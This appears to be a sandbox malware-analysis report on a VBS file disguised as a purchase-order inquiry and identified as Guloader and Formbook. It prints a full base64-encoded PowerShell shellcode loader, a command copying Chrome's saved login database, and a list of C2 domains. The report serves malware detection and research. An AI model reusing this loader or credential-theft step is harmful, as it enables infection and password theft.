Analysis
-
max time kernel
151s -
max time network
144s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
21-01-2022 14:24
Static task
static1
Behavioral task
behavioral1
Sample
New _Inquiry P.O4622.vbs
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
New _Inquiry P.O4622.vbs
Resource
win10-en-20211208
General
-
Target
New _Inquiry P.O4622.vbs
-
Size
77KB
-
MD5
24e935f7534a81a7fd4e32daeab208a5
-
SHA1
251ac05ebc8c963418dccddda127d2a81b5097db
-
SHA256
5e6d8684c3f71ca6a76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99
-
SHA512
4bd0afc25da140efadb8f49350df7dca32c781a520c85f217d77db6602e51a7731ef955b7d412f5a3edaa0c70cffe47b9b44eda88c3378052d101a1e071f4ede
Malware Config
Extracted
formbook
4.1
k6sm
mingshengjewelry.com
ontimecleaningenterprise.com
alyssa0.xyz
ptecex.xyz
dukfot.online
pvcpc.com
iowalawtechnology.com
nestletranspotation.com
mysithomes.com
greenlakespaseattle.com
evofishingsystems.com
unilytcs.com
ordemt.com
dentalbatonrouge.com
pictureme360.net
chalinaslacatalana.com
newmirrorimage.xyz
pinklaceandlemonade.com
rapinantes.com
yzicpa.com
josephosman.com
robsarra.com
shumgroup.net
flooringnewhampshire.com
onceadayman.com
audiomacklaunch.xyz
hurryburry.com
golfvid.info
tutortenbobemail.com
tatlitelasorganizasyon.com
tqgtdd.space
classicalruns.com
xx3tgnf.xyz
galwayartanddesign.com
qidu.press
crypto-obmennik.com
dn360rn001.com
tridim.tech
phamhome.com
mediadollskill.com
loveatmetaverse.com
electric4x4parts.com
azulymargarita.com
isadoramel.com
rubyclean.com
officiallydanellewright.com
wu8d349s67op.xyz
detetivepyther.com
wondubniumgy463.xyz
registry-finance3.com
ultracoding.com
open-4business.com
supremelt.online
pangfeng.xyz
morneview.com
northfloridapsychic.com
kg4bppuh.xyz
friv.asia
epsilonhomecare.com
hbina.com
beachhutprinting.com
sophoscloudoptix.net
managemarksol.site
palestyna24.info
usyeslogistics.com
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Formbook Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/2684-166-0x0000000000400000-0x000000000042F000-memory.dmp formbook behavioral2/memory/2684-165-0x0000000000400000-0x00000000006A3000-memory.dmp formbook behavioral2/memory/1756-173-0x0000000003040000-0x000000000306F000-memory.dmp formbook -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
explorer.exedescription ioc process Key created \Registry\User\S-1-5-21-369956170-74428499-1628131376-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run explorer.exe Set value (str) \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\TPIPDXQ8_TJH = "C:\\Program Files (x86)\\internet explorer\\ieinstal.exe" explorer.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
ieinstal.exepowershell.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe ieinstal.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
explorer.exedescription ioc process Key created \Registry\User\S-1-5-21-369956170-74428499-1628131376-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run explorer.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
ieinstal.exepid process 2684 ieinstal.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exeieinstal.exepid process 3152 powershell.exe 2684 ieinstal.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
powershell.exeieinstal.exeexplorer.exedescription pid process target process PID 3152 set thread context of 2684 3152 powershell.exe ieinstal.exe PID 2684 set thread context of 3024 2684 ieinstal.exe Explorer.EXE PID 2684 set thread context of 3024 2684 ieinstal.exe Explorer.EXE PID 1756 set thread context of 3024 1756 explorer.exe Explorer.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
explorer.exedescription ioc process Key created \Registry\User\S-1-5-21-369956170-74428499-1628131376-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 explorer.exe -
Suspicious behavior: EnumeratesProcesses 35 IoCs
Processes:
powershell.exeieinstal.exeexplorer.exepid process 3152 powershell.exe 3152 powershell.exe 3152 powershell.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
Explorer.EXEpid process 3024 Explorer.EXE -
Suspicious behavior: MapViewOfSection 9 IoCs
Processes:
powershell.exeieinstal.exeexplorer.exepid process 3152 powershell.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 2684 ieinstal.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe 1756 explorer.exe -
Suspicious use of AdjustPrivilegeToken 9 IoCs
Processes:
powershell.exeieinstal.exeExplorer.EXEexplorer.exedescription pid process Token: SeDebugPrivilege 3152 powershell.exe Token: SeDebugPrivilege 2684 ieinstal.exe Token: SeShutdownPrivilege 3024 Explorer.EXE Token: SeCreatePagefilePrivilege 3024 Explorer.EXE Token: SeDebugPrivilege 1756 explorer.exe Token: SeShutdownPrivilege 3024 Explorer.EXE Token: SeCreatePagefilePrivilege 3024 Explorer.EXE Token: SeShutdownPrivilege 3024 Explorer.EXE Token: SeCreatePagefilePrivilege 3024 Explorer.EXE -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
WScript.exepowershell.execsc.exeieinstal.exeexplorer.exedescription pid process target process PID 2432 wrote to memory of 3152 2432 WScript.exe powershell.exe PID 2432 wrote to memory of 3152 2432 WScript.exe powershell.exe PID 2432 wrote to memory of 3152 2432 WScript.exe powershell.exe PID 3152 wrote to memory of 1504 3152 powershell.exe csc.exe PID 3152 wrote to memory of 1504 3152 powershell.exe csc.exe PID 3152 wrote to memory of 1504 3152 powershell.exe csc.exe PID 1504 wrote to memory of 372 1504 csc.exe cvtres.exe PID 1504 wrote to memory of 372 1504 csc.exe cvtres.exe PID 1504 wrote to memory of 372 1504 csc.exe cvtres.exe PID 3152 wrote to memory of 2684 3152 powershell.exe ieinstal.exe PID 3152 wrote to memory of 2684 3152 powershell.exe ieinstal.exe PID 3152 wrote to memory of 2684 3152 powershell.exe ieinstal.exe PID 3152 wrote to memory of 2684 3152 powershell.exe ieinstal.exe PID 2684 wrote to memory of 1756 2684 ieinstal.exe explorer.exe PID 2684 wrote to memory of 1756 2684 ieinstal.exe explorer.exe PID 2684 wrote to memory of 1756 2684 ieinstal.exe explorer.exe PID 1756 wrote to memory of 776 1756 explorer.exe cmd.exe PID 1756 wrote to memory of 776 1756 explorer.exe cmd.exe PID 1756 wrote to memory of 776 1756 explorer.exe cmd.exe PID 1756 wrote to memory of 2864 1756 explorer.exe Firefox.exe PID 1756 wrote to memory of 2864 1756 explorer.exe Firefox.exe PID 1756 wrote to memory of 2864 1756 explorer.exe Firefox.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\New _Inquiry P.O4622.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBMAEEAQwBUAEkARgBFAFIATwAgAGIAcgBlAGcAbwAgAEsAbgBvAGIAZQB0AHMAZgByAGkAOQAgAEgAZQBzAHQAMwAgAEcAcgB1AGUAcwBvAG0ANAAgAEcAZQBuAGUAcgBhAGwAaQBzACAAQQBGAE0ARQBKACAAYgBlAGEAdgBlAHIAIABCAEkAQgBMAEkATwBHAFIAIABEAGQAbQBhAG4AZABzAGsAbgA1ACAAbgB1AGwAbABpAG4AIABsAG4AcABvAHQAcwB5AHMAdABlACAAVABoAHIAZQBhAHAAZQBkAGEAZgAgAE8AdQB0AHcAcgBlAHMAIABHAFQARQBWAEkAVgAgAFUAbgBzAGgAYQBjAGsAbABpADgAIABjAG8AcgByAGUAIABMAEEAUgBNAEUATgBTAEYAIABEAGkAcwB0AGkAbgBnAHYAOAAgAGQAaQBzAGUAbQBiAG8AIABIAFkAUABFACAAVQBuAGYAaQBsADkAIABWAEEATgBEAEIAUgBOAEQAQQAgAEcAZQBuAG4AZQAgAEIAZQBtAGUAcwB0AHIAZQA0ACAAaQBuAGQAcABhACAAQgBpAHQAcwB5AGwAZQAgAFQAZQByAG4AYQBzAGgAZQAgAEsAbwBrAGEAcgBkACAADQAKAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABiAHIAbgBlAGMAeQBrAGwAMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKABpAG4AdAAgAGIAcgBuAGUAYwB5AGsAbAA2ACwAcgBlAGYAIABJAG4AdAAzADIAIAByAGUAcwB0AGIAZQBsAGIALABpAG4AdAAgAEQAeQBiAGIANgAsAHIAZQBmACAASQBuAHQAMwAyACAAYgByAG4AZQBjAHkAawBsACwAaQBuAHQAIABhAHAAcABsAGkAZQAsAGkAbgB0ACAAYgByAG4AZQBjAHkAawBsADcAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoAHMAdAByAGkAbgBnACAAaQBtAG0AYQBuACwAdQBpAG4AdAAgAEgAeQBwAG8AZwB5AG4AeQBiACwAaQBuAHQAIABEAGkAcwBjAGkAcABsADMALABpAG4AdAAgAGIAcgBuAGUAYwB5AGsAbAAwACwAaQBuAHQAIABQAGUAdAB1AG4AaQBlAHIAbgAsAGkAbgB0ACAARwByAHUAbgBnAGUAcwBtAGkAdAAsAGkAbgB0ACAARABlAG0AbwByAGEAbAA1ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAaQBuAHQAIABSAGUAYQBkAEYAaQBsAGUAKABpAG4AdAAgAEQAeQBiAGIANgAwACwAdQBpAG4AdAAgAEQAeQBiAGIANgAxACwASQBuAHQAUAB0AHIAIABEAHkAYgBiADYAMgAsAHIAZQBmACAASQBuAHQAMwAyACAARAB5AGIAYgA2ADMALABpAG4AdAAgAEQAeQBiAGIANgA0ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAdQBzAGUAcgAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAYQBsAGwAVwBpAG4AZABvAHcAUAByAG8AYwBXACgASQBuAHQAUAB0AHIAIABEAHkAYgBiADYANQAsAGkAbgB0ACAARAB5AGIAYgA2ADYALABpAG4AdAAgAEQAeQBiAGIANgA3ACwAaQBuAHQAIABEAHkAYgBiADYAOAAsAGkAbgB0ACAARAB5AGIAYgA2ADkAKQA7AA0ACgB9AA0ACgAiAEAADQAKACMAQgBpAHMAYQBtAHMAYwBoAHUAIABEAG8AdgBlAG4AOAAgAEMAYQBsAHkAIABLAHUAbABkAGkAbwB4AGkAZAAgAGcAcgBhAGYAaQBrAHIAdQB0AGkAIABMAGsAawBlAHIAbgAgAEsAYQBuAG8AbgBpADkAIABDAGgAZQBsADkAIABlAG4AZABlAGIAYQBsAGwAZQBuACAAZABpAHMAawAgAFQAYQBkAGUAYQB3AG8AdQBjADQAIABVAGkAdABvAHQAYQBuAHUAZAA4ACAAQwB1AHQAbABhAHMAcwBmADQAIABSAGgAaQBwADgAIABUAGUAbgBkAGUAcgBlAGUAbwAgAHIAZQBpAG4AaABvAGwAZAAgAEgAagBlAG0AdgBpAHMAZQBsAHUAOQAgAEgAVQBSAFIAUwAgAE8AbQBuAGkANgAgAEIAaQBnAGcAaQBzADUAIABPAGgAbQBhAHYANAAgAEIAdQBjAGgAIABQAGUAZwBnAHkAcABhAHIAYQAgAG4AdgBuAGkAbgBnAGUAZABvACAARgBPAEUATABHAEUAUwBFAEQAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAHMAbwB1AG0AIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIARQBYAEMATABVAEQAIgAgAA0ACgAkAGIAcgBuAGUAYwB5AGsAbAAzAD0AMAA7AA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA5AD0AMQAwADQAOAA1ADcANgA7AA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA4AD0AWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBOAHQAQQBsAGwAbwBjAGEAdABlAFYAaQByAHQAdQBhAGwATQBlAG0AbwByAHkAKAAtADEALABbAHIAZQBmAF0AJABiAHIAbgBlAGMAeQBrAGwAMwAsADAALABbAHIAZQBmAF0AJABiAHIAbgBlAGMAeQBrAGwAOQAsADEAMgAyADgAOAAsADYANAApAA0ACgAjAFMAVQBQAEUAUgAgAFMAVABPAEMASwBJAEwAWQBSACAAUwB0AG4AawBlAGwAYQA1ACAAZQBtAHAAcgBvAHMAdAAgAGQAZQBmAGkAbgBpAHQAdAAgAFMAZQBwAGkAYQBiAHIAdQAxACAAdABvAHAAbwBnAHIAYQBmAGUAcgAgAEQAUgBZAFAAUwBUAEUATgAgAEYAcgBlAGsAdgA2ACAARABlAGwAaQBiAGUANgAgAE0AYQB0AGkAYQBzADMAIABoAHUAcwBuAGkAbgBnAGsAdgAgAEgAdQBzAG0AIABDAEgARQBFAFMARQBGAEwAIAB2AGEAYQBnACAAVABoAGUAbAAgAFMAdQBwAGUAcgA1ACAAcwBhAGMAcgBpAHMAdAAgAFYAZQBkAHMAdABhAGEAIABCAGEAZwB0AHUAbgAgAFAAcgBvAHQAeQBsAHMAMgAgAFMAdAByAHkAZwBlAGsAdgBhADEAIABJAE0ATQBPAEwAQQBUACAAUwB0AGUAZAAgAHMAYwByAGkAIABmAGUAZABlAHYAYQByACAAUABlAHIAaQBvAGQAYQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAcwBuAGEAcgBlAG4AcwAiACAADQAKACQAYgByAG4AZQBjAHkAawBsADIAPQAiACQAZQBuAHYAOgB0AGUAbQBwACIAIAArACAAIgBcAGIAbAB1AGUAYgAuAGQAYQB0ACIADQAKACMARQB0AHQAaQBuAHoAbwBtAGIAaQA0ACAAaQBuAHQAZQBsAGwAZQBrAHQAIABNAGUAbgBzAHUAcgBhACAAZgByAGkAaABhACAAUwBoAHUAdABpAG4AZwBkAGkAZQAgAFMASwBSAFYAUwBSACAAUwBjAGgAaQBuAGQAeQBsADEAIABzAHkAcgBuAGkAbgBnAGUAIABBAEQATwBQAFQAQQBOAFQAIABMAHUAawBrAGUAdABzAGIAbwAgAGIAbABhAG4AZABpAG4AZwBzAGYAIABEAEUAQwBJAE0ARQBSAEUAIABVAGQAaABvAGwAZABlAGwAaQAgAFMAVABPAEMASwBIAE8AIABHAGUAbQBpACAARgBhAGIAcgBpAGsAYQAyACAAaQBuAHQAZQByAHAAdQBuACAAdgBhAG4AZABzAGsAIABzAHAAaQBsAGQAZQAgAFIARQBHAEkAUwBUAEUAUgAgAFAAbwBzAHQAZwBpAHIAbwBrAG8AMwAgAFIAaQB2AGUAcgBpACAATwBWAEUAUgBFAE0AIABEAEEATgBEAFkAIABUAHIAYQBuAHMAYwAzACAAcABvAGwAeQAgAE0AVQBTAFQAQQBOAEcAUwAgAEsAYQBzAGUAaQBuAGUAdAAgAEoAdQBnAGUAcgBpAG4AZwB0ACAAQgBFAFIATwBMAEkARwBFAEQAIABTAFQAUgBBAFQAIABBAFMARgBBAEwAVAAgAEwAbwBnAGEAcgBpACAADQAKACQAYgByAG4AZQBjAHkAawBsADQAPQBbAGIAcgBuAGUAYwB5AGsAbAAxAF0AOgA6AEMAcgBlAGEAdABlAEYAaQBsAGUAQQAoACQAYgByAG4AZQBjAHkAawBsADIALAAyADEANAA3ADQAOAAzADYANAA4ACwAMQAsADAALAAzACwAMQAyADgALAAwACkADQAKACMAQwBIAFIASQBTAFQAIABDAEUAUgBCACAASABpAGcAaABqACAAUgBlAGsAbwBtAG0AYQA4ACAAQwBPAFIARQBDACAATABZAEQASQBHAEgARQBEACAAQQBDAEgATwBMAE8ARQBGACAAbQB1AHMAbABpAG4AZwAgAG0AYQB0AGUAcgBpAGEAbABpACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBTAHUAYQBiAGwAIgAgAA0ACgAkAGIAcgBuAGUAYwB5AGsAbAA1AD0AMAA7AA0ACgAjAFMAdAByAGEAYQBsACAAaAB5AHAAZQByACAATAB1AG4AZQBoAHkAcgBkACAAUgBFAEkARgBJAEsAIAB0AGUAcwB0AGEAbQBlACAAQgBSAEkASwBWAFYATgAgAEkARABJAE8AIABnAHIAYQBkAHUAYQB0ACAATQBlAGEAdABtAGEAbgA1ACAAYwBvAHUAbgB0AGUAcgBlAHYAIABQAHIAZQBpAG4AZABlAGIAdABlADkAIABNAHkAbwBtAGUAcgBlADMAIABPAHAAZQByAGEAdABpAHYAcwB5ACAAcABsAGkAcgBiAGUAcwBrAGEAcgAgAHMAYQBtAGEAcgAgAEwATgBTAEEAVABTACAAYwBoAGUAcwBrACAARgBJAEcAVQBSAFQAWQBQACAAUABvAHUAcwBzAGkANAAgAEYAVQBHAFQARgBKAEUAIABGAHUAbgBrAHQAaQAgAE8AbQBrAHIAcwBlAGwAcwA2ACAAVABvAGEAZABsACAAQQBpAHIAdwBvAHIAdABoACAARwBhAHMAYQBwAHAAYQByAGEAdAAgAEIAdQBnAHMAcAB5AHQAdAA2ACAAUAByAG8AZwByAGEAbQBzAHQANQAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAYgBhAHIAYQBrACIAIAANAAoAWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBSAGUAYQBkAEYAaQBsAGUAKAAkAGIAcgBuAGUAYwB5AGsAbAA0ACwAJABiAHIAbgBlAGMAeQBrAGwAMwAsADIANgAxADEANgAsAFsAcgBlAGYAXQAkAGIAcgBuAGUAYwB5AGsAbAA1ACwAMAApAA0ACgAjAFMAbgBhAGQAZABlAG4AYQBzAG8ANQAgAGMAaQByAGMAdQAgAEMATwBOAEYARQBDACAAcAByAG8AcABvACAAUwB1AGkAdABhAGIAbABlADIAIABQAFMARQBVAEQATwAgAEkATgBEAEwARwBHAEUATAAgAFAAdQB0AHIAZQBzAGMAZQBrAGEAOAAgAFgAeQBsAG8AMwAgAFcASABVAEYARgAgAG8AYQBzAGUAcwBrAGkAbgAgAFQAYQBtAHQAYQBtACAASQBtAHAAbwByADMAIABQAHIAbwB0ACAAVAB5AHIAbwAgAHYAZQBuAHQAcgAgAFUATgBCAEkARABBAEIAIAByAGEAYQB2AGEAcgBlAHIAbgBlACAASABvAHIAYQBoAGwAdQBjAGkAYQAgAFMAeQBuAHQAaABlAHQAIABGAGUAZAB0AGQAIABIAGEAYQByAGQAOQAgAFYASQBOAEsARQBMACAAUwBLAEEAVABUAEUAQQBOAFMAVAAgAE0ARQBDAEgARQBMACAAUgBhAG4AZABpAGEAcABsACAARABFAFQATwBYAEkARgBJACAAQgBsAG4AZABlAG4AIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFQAdQByAGYAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAWQBWAEUAVAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBPAE0ATQBBAFQASQBEAEkAQQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBUAG8AbAB1AGkAZABvAGMAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIASwBVAEwAVABVAFIAUwBBAE0ATQAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBrAHYAYQBsAGkAdABlAHQAIgAgAA0ACgBUAGUAcwB0AC0AUABhAHQAaAAgACIAUwBhAGUAbABnAGUAcwBzAHQAMwAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBSAGEAZAByAGUAbgBzACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFQAZQByAG4AaQBuAGcAdAB5ACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAGYAcgBtAG4AZABvAHYAZQByACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEEAbABlAHYAaQBuACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAEQAdQBtAHAAZQBrAGEAOAAiACAADQAKAFQAZQBzAHQALQBQAGEAdABoACAAIgBmAGEAcwB0AGcAcgBlACIAIAANAAoAVABlAHMAdAAtAFAAYQB0AGgAIAAiAFAAYQBhAHQAYQBsAGUAcgBlACIAIAANAAoAWwBiAHIAbgBlAGMAeQBrAGwAMQBdADoAOgBDAGEAbABsAFcAaQBuAGQAbwB3AFAAcgBvAGMAVwAoACQAYgByAG4AZQBjAHkAawBsADMALAAgADAALAAwACwAMAAsADAAKQANAAoADQAKAA=="3⤵
- Checks QEMU agent file
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\unctflgd\unctflgd.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES343B.tmp" "c:\Users\Admin\AppData\Local\Temp\unctflgd\CSC6DC9DE584E4C4017AEE6891C4B9843F3.TMP"5⤵
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"4⤵
- Checks QEMU agent file
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\explorer.exe"C:\Windows\SysWOW64\explorer.exe"5⤵
- Adds policy Run key to start application
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe/c copy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\Admin\AppData\Local\Temp\DB1" /V6⤵
-
C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"6⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\DB1MD5
b608d407fc15adea97c26936bc6f03f6
SHA1953e7420801c76393902c0d6bb56148947e41571
SHA256b281ce54125d4250a80f48fcc02a8eea53f2c35c3b726e2512c3d493da0013bf
SHA512cc96ddf4bf90d6aaa9d86803cb2aa30cd8e9b295aee1bd5544b88aeab63dc60bb1d4641e846c9771bab51aabbfbcd984c6d3ee83b96f5b65d09c0841d464b9e4
-
C:\Users\Admin\AppData\Local\Temp\RES343B.tmpMD5
b83a17043dd32888fbae48272396908a
SHA1c836628f4516d73a2f726d710114f9ef36c639e0
SHA25665c4a6378c3c447e5113c312190d3d82911a381afc972755eb105d8b3730d249
SHA5125aa802813a6dd27f27f460f2e1b345743aae94d0603e1e4b650ccafeeae4f053dd0183f633b410b6460d85946b239db6a3f21436c93f22d0709c2dbb129357fb
-
C:\Users\Admin\AppData\Local\Temp\blueb.datMD5
48a7d9c78df69306ae414bea7c1d51de
SHA102a7398b82bbb72c6f1b5d36ace44951e9cc67e2
SHA2564d8f190a415aed861321d29e69d174effbded24de4841a0f9f534161b1d5b23e
SHA5129ad31cae5c95191d5e46572d554aa57dea11ded2c26f3285ada315feddccd369adc0d2b5254505bd207e8cd9b9fe21287329149fd3c3f6bd535a93223d83993f
-
C:\Users\Admin\AppData\Local\Temp\unctflgd\unctflgd.dllMD5
684d4bd627378709eaee611b5430a29c
SHA1d048ad6ef9dcd4ec966ccfb5bbfe3bbc1716b08e
SHA2560e119e71cb2cc5b91c22994ae5e5878f079d4cba78eb965c3c43d641c1a401dc
SHA5123ad53ba96ccc013a7a1ecc7d52fb4c278bfc2e38f7edf7d7f70d4cbcbfae5f8a7ece969afe1ee58849e67b43390ef7ecd94e93afd3c29c549ae592fced61951a
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologim.jpegMD5
30e7b74d3cbb38a0fa4539b4f8bb418a
SHA1729895f94cc2bedf654f021cd0b42760c34567de
SHA2565b558691203738083758c561c5f969409b616a97596e32879ef75385519b729c
SHA512911b8569ea341e56c7f618eba33d5e207d7a435c912de8ca8e546fe9396aae0b03e8f190063c2938bd13a5f03f65d598fb37e4745540673f7b1adbb988d2447b
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrf.iniMD5
2f245469795b865bdd1b956c23d7893d
SHA16ad80b974d3808f5a20ea1e766c7d2f88b9e5895
SHA2561662d01a2d47b875a34fc7a8cd92e78cb2ba7f34023c7fd2639cbb10b8d94361
SHA512909f189846a5d2db208a5eb2e7cb3042c0f164caf437e2b1b6de608c0a70e4f3510b81b85753dbeec1e211e6a83e6ea8c96aff896e9b6e8ed42014473a54dc4f
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrg.iniMD5
4aadf49fed30e4c9b3fe4a3dd6445ebe
SHA11e332822167c6f351b99615eada2c30a538ff037
SHA25675034beb7bded9aeab5748f4592b9e1419256caec474065d43e531ec5cc21c56
SHA512eb5b3908d5e7b43ba02165e092f05578f45f15a148b4c3769036aa542c23a0f7cd2bc2770cf4119a7e437de3f681d9e398511f69f66824c516d9b451bb95f945
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologri.iniMD5
d63a82e5d81e02e399090af26db0b9cb
SHA191d0014c8f54743bba141fd60c9d963f869d76c9
SHA256eaece2eba6310253249603033c744dd5914089b0bb26bde6685ec9813611baae
SHA51238afb05016d8f3c69d246321573997aaac8a51c34e61749a02bf5e8b2b56b94d9544d65801511044e1495906a86dc2100f2e20ff4fcbed09e01904cc780fdbad
-
C:\Users\Admin\AppData\Roaming\7-O4R1-6\7-Ologrv.iniMD5
bbc41c78bae6c71e63cb544a6a284d94
SHA133f2c1d9fa0e9c99b80bc2500621e95af38b1f9a
SHA256ee83c6bcea9353c74bfc0a7e739f3c4a765ace894470e09cdcdebba700b8d4cb
SHA5120aea424b57adae3e14ad6491cab585f554b4dffe601b5a17bad6ee6177d2f0f995e419cde576e2d1782b9bddc0661aada11a2c9f1454ae625d9e3223635ec9f4
-
\??\c:\Users\Admin\AppData\Local\Temp\unctflgd\CSC6DC9DE584E4C4017AEE6891C4B9843F3.TMPMD5
a2a22617fc0957baefd2f666fabc556d
SHA107b44496c75d4ef61c75e0b66f552e34433aadd5
